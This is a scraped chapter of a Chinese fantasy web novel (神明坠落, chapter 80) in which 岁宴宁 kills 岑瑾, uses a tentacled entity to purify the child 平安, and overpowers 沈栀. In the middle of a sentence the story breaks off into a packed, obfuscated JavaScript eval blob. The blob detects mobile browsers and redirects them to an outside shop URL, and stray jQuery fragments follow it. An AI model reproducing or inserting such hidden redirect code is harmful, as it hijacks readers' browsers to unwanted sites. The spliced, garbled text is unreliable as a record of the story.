文趣网 > 其他小说 > 神明坠落 > 80. 颠倒
    这刀一直藏在这玩偶肚子里?

    岁宴宁来不及细想,岑瑾的攻势已逼至眼前。

    她似乎厌倦了无休止的死亡与重生,此刻竟不再护住腹部,双手成爪,骤然暴涨,尖锐的指甲泛着黑色,手背迅速覆上一层鱼鳞般的硬甲。

    与此同时,她双掌合拢,一股浑厚的灵气在掌心不断积压、压缩。

    她想一击毙命。

    正好,岁宴宁也是这么想的。

    拐杖再次腾空,但这一次缠绕其上的不再是黑雾,而是纯白灵气。

    两色交织,竟似乎凝出一幅诡异流转的太极八卦虚影。

    拐杖应势飞出,自侧面狠狠贯穿岑瑾合拢的双掌,又将她整个人带起,钉死在身后的树干上。

    岑瑾仿佛感觉不到疼痛,即便双手血流如注,她掌心灵气的凝聚也并未消散。

    但岁宴宁本就不是为了打断她。

    这一切不过瞬息之间。

    在般般朦胧的视线里,岁宴宁浑身浴血、散发凌乱,伤势不比岑瑾轻,可那身骇人的低气压,却比岑瑾的凶戾更令人心悸。

    她眨了眨眼,看见岁宴宁将岑瑾死死钉在树上。

    寒光闪过,岁宴宁握着那柄砍肉刀,轻而易举的划开了岑瑾的腹部。

    只听“铮”的一声脆响,蛛网般的碎纹瞬间爬满刀身,碎成一地残铁。

    岑瑾身体陡然僵硬,腹部的裂痕中,那胎儿仍保持着最初进入母体时的蜷缩姿态,随着皮肉绽开,滚落在地。

    下一秒,胎儿骤然抽搐起来,以肉眼可见的速度疯狂生长!

    拐杖自树中拔出,呼啸着护在岁宴宁身前。

    不过片刻,胎儿已恢复成平安的模样,而随着拐杖离树,岑瑾再也支撑不住,重重砸在地上。

    她双眼死死望向天空,渐渐蒙上一层灰翳。

    将死之际,岑瑾没有看向任何人,也没有留下只言片语。

    但岁宴宁知道,她在最后一刻恢复了意识。

    复活的能力不会消失,只会转移。

    如今不死的不再是岑瑾,而是平安。

    岁宴宁抬起眼,望向那个背对自己、身高仅及她大腿的女孩。

    她没有如之前那般疯狂,只是异常沉默地低着头,凝视岑瑾的尸体,不知在想些什么。

    “沈栀,有丹药吗?”岁宴宁忽然转头,沙哑的嗓音里带着疲惫。

    沈栀脸色总算褪去了些许苍白,唇间多了几分血色,那副病恹恹的“死人相”淡了不少。

    岁宴宁看着顺眼许多,果然,比起血腥狼狈的战场,赏心悦目的人和事,总能让人心情轻快些。

    沈栀虽不知她要丹药做什么,但既然身份已被戳破,便也懒得再遮遮掩掩。

    只见他颈间微光一闪,掌心已托出一只小巧木盒递给她。

    岁宴宁随意瞥过他颈间遮掩住的光亮,唇角微微勾起。

    呦!这是又重新把金莲种上了?

    沈栀莫名其妙的看她一眼,“都是些恢复元气、固本培元的丹药。”他话音微顿,目光不着痕迹地从岁宴宁身上掠过。

    “你受伤了?”

    “没,我不吃。”

    沈栀那句“给谁吃”还没说出口,她便劈手夺过木盒,将丹丸尽数倒入掌心,随即捏住他的下巴用力一掰,趁他张口之际“哗啦”一下全灌了进去,又反手一掌拍向他胸口。

    沈栀猝不及防,闷哼一声,胸口的钝痛让他本能地吞咽。

    见他咽了药,岁宴宁忽然倾身,伸手拽住他胸前的衣襟将人拉得近了些。

    她眼尾还带着未褪的戾气,眯起眼时像只蓄势的兽,威胁道:“给我安分点!听明白没有?这次若再失控,我连你一并杀了!”

    沈栀自坐稳令主之位,满座宾朋皆敬他畏他,何曾有人敢这般对他?

    即便此刻虚弱不堪,骨子里的傲气也容不得他服软。

    正欲反驳,岁宴宁却一掌捂住了他的嘴,将未出口的话硬生生堵了回去。

    她捏着沈栀的下颌轻轻晃了晃,低声自语:“那么多丹药,该是都咽下去了吧?”

    掌下的肌肤细腻温热,她忍不住又捏了一把,这才转身站起,自然也未曾看见男子逐渐泛红的耳尖与眼角。

    “你不是想看吗?今日便让你看个够。”

    她背对着沈栀而立,沈栀半跪于地,仰头望去,只能看见她线条分明的下颌,以及上面那道被自己灵气划出的血痕。

    仿佛肉身的界限被彻底抹除,自她周身的每一寸肌肤、每一个毛孔深处,浓如墨汁的黑雾无声地汹涌而出。

    如同拥有生命的活物,缠绕在她身侧,缱绻而贪婪地抚过她的轮廓。

    岁宴宁眼帘缓缓抬起,眸中只剩一片虚无的冰冷。

    与此同时,在她头顶上方的虚空中,空间被无声撕裂,一只巨大的、眼白死寂,瞳仁闪着耀眼金光的眼眸蓦然睁开!

    祂静止悬浮于空中,漠然俯视众生,似乎目光所及之处,万物皆为蝼蚁。

    瞬息之间,环绕岁宴宁的黑雾剧烈翻腾,数十根形态诡谲的触手自其中猛然探出。

    祂们色泽深浅不一,粗细迥异。

    沈栀甚至能清晰地感知到,祂们散发着截然不同的性情。

    即便是化神期的变种,在黑雾笼罩之下,平安的所有攻击都如滴水入海,悄无声息。

    纵有通天之能,她终究只是个六岁稚童。

    在那具幼弱身躯的桎梏下,她根本无力挣脱触手的束缚。

    平安惊慌恐惧的面孔最终被蠕动的触手彻底吞没。

    她整个人被裹成一颗密不透风的茧,触手表层规律地起伏,其下密布的吸盘明灭不定,宛若呼吸。

    饶是沈栀见惯了各类凶戾异状,目睹如此诡谲的画面,也有些不适。

    他下意识皱眉,低头看去。

    先前还在疯狂冲撞外甲的黑雾,此刻竟安分得出奇,只敢在缝隙间小范围震颤,连脑海中那无休无止的低语,也微弱了许多。

    是因为方才岁宴宁威胁了祂们?还是他吃的丹药起了作用?

    不过片刻,触手们似乎已完成了“进食”。

    祂们弯着慵懒的弧度退回黑雾,路过岁宴宁身侧时,最细的那根还俏皮地蹭了蹭她的脸颊,另一根则用尖端轻轻勾了勾她的指尖。

    岁宴宁垂眸,指尖挨个碰了碰掠过的触手,一一回应。

    最后一根退回的触手最为粗壮,色泽也最为深黯,这是祂最初诞生的那一条。

    祂小心翼翼地将失去意识的平安轻放在地,随后才温顺地蜷缩回岁宴宁身边。

    “辛苦了。”她抬手,摸了摸触手的尖端。

    随着进食结束,头顶的金瞳缓缓闭合,金光敛去,所有黑雾如同潮水般倒卷,尽数钻回她的身体中。

    岁宴宁捏碎了应钰三人的传送珠,提前将他们送回。

    他们伤势看似不重,但沈栀的灵气过于霸道,灵气之伤隐于脏腑,寻常医者查探不出,只能送回潮汐彻底排查。

    来时三人,归时却成了四人。

    般般将岑瑾安葬在苍翠山脉附近一处僻静之地。

    他们带走了苏醒后便一言不发的平安。

    无论她如何询问她的来历、她与岑瑾的关系,平安都只是沉默应对。

    般般看向前方,平安伏在岁宴宁的背上,蜷缩在宽大的黑袍里,像只受惊的幼兽,又似重回母体的胎儿般蜷缩着。

    她脸上的血污犹在,身上的伤口却已奇迹般愈合。

    般般又将目光转向岁宴宁。

    她一直知道姐姐藏着秘密,也明白自己往日的恐惧,定

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622940|203127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然是窥见了那秘密的冰山一角。

    秘密本该深藏,可岁宴宁此刻却显得毫不在意,几缕稀薄的黑雾仍如拥有意识般缭绕在她周畔,漂浮游弋,时而探向背上的女孩,似在观察她。

    般般不知道那是什么,但灵魂深处本能地战栗,像是在久远的过去曾见过祂们。

    她脚步下意识又往后面挪了两步,岁宴宁余光瞥见她的小动作,黑雾倏地钻回她体内。

    “你能与祂交谈?”沈栀的声音从旁传来,声线已恢复了惯常的沉稳。

    方才的狼狈虚弱仿佛只是幻象,属于神谴之地第一强者的凛然气度重新回到了他的身上。

    尽管脸色仍比平日苍白几分,但衣冠已然整肃,墨发一丝不苟,若非那身掩不住肃杀之气的黑衣,此刻的他,倒更像一位清贵而略带病气的文弱书生。

    与满身血污的岁宴宁、般般二人形成鲜明对比。

    既然净化过程已被他目睹,岁宴宁觉得也再无隐瞒的必要。

    她随口应道:“无相无法言语,但我能理解祂的意志,同样,祂也能感知我的想法。”

    沈栀沉吟片刻,追问道:“那只眼睛,又是何物?”

    “不清楚,只是在无相吞噬了足够多的异变灵气后,便自行显现,我猜测,这或许是无相的某种进化。”

    “眼睛的作用是净化?”

    “没错。”岁宴宁脚步未停,“每当我对变种进行净化时,这只眼睛就会出现。”

    “你还有其他的眼睛吗?”沈栀的目光落在她脸上,不放过任何一丝细微的变化。

    只要岁宴宁说谎,他便能察觉。

    “没有,目前就这一只。”她忽然转过头,对上他探究的视线,唇角勾起,“我最近都在渡厄封闭训练,哪来的时间让无相吃饭?饭都吃不饱,谈什么进化?”

    说谎。

    她在说谎。

    岁宴宁心知肚明沈栀能看穿谎言,却毫不掩饰。

    她甚至带着几分漫不经心的坦然,仿佛在说:我就是骗你,你又能如何?

    沈栀深深地看她一眼,他确实奈何不了她,但这番欲盖弥彰反而印证了他的猜测,无相绝不止这一只眼睛。

    至于究竟还有多少,各自拥有怎样的能力,此刻还无法断言。

    “无相能与你分离吗?”沈栀换了个问题。

    岁宴宁轻轻“唔”了一声,突然停下脚步,歪了歪头思索。

    她转过身,唇边勾起一抹似笑非笑的弧度:

    “能吧。”

    话音落下的刹那,浓稠的黑雾裹挟着潮湿的泥土气息扑面而来。

    沈栀只觉眼前一黑,周身瞬间陷入极致的阴冷,整个人如同坠入无底沼泽,氧气被瞬间剥夺,光线彻底消失,只剩下无边无际的阴冷与潮湿在疯狂侵蚀。

    他感觉不到双腿,感觉不到身体,唯有意识在绝对的黑暗中无助漂浮。

    就在这时,右腿传来一阵撕裂般的剧痛。

    意识深处挤进来窸窸窣窣的呓语,疯狂而黏稠:

    “她来了!”

    “她进来了!”

    “好喜欢!好喜欢!!”

    右腿中蛰伏的黑雾开始疯狂叫嚣,躁动着想要与祂融为一体。

    “回来。”

    岁宴宁的声音轻飘飘响起,吞噬一切的阴冷如潮水般退去,黑雾温顺地缩回她的体内。

    沈栀单膝跪地,脸色惨白,额间布满冷汗,胸膛因长时间的窒息而剧烈起伏。

    他抬起头,岁宴宁就站在几步外,脸上的血污不知何时已擦净,唯有脸颊几道被他灵气划伤的痕迹仍清晰可见。

    沈栀不由蹙眉,不合时宜的念头在此刻突然冒了出来。

    能够治愈变种,却无法愈合自身的伤口?

    此刻,两人的地位彻底颠倒。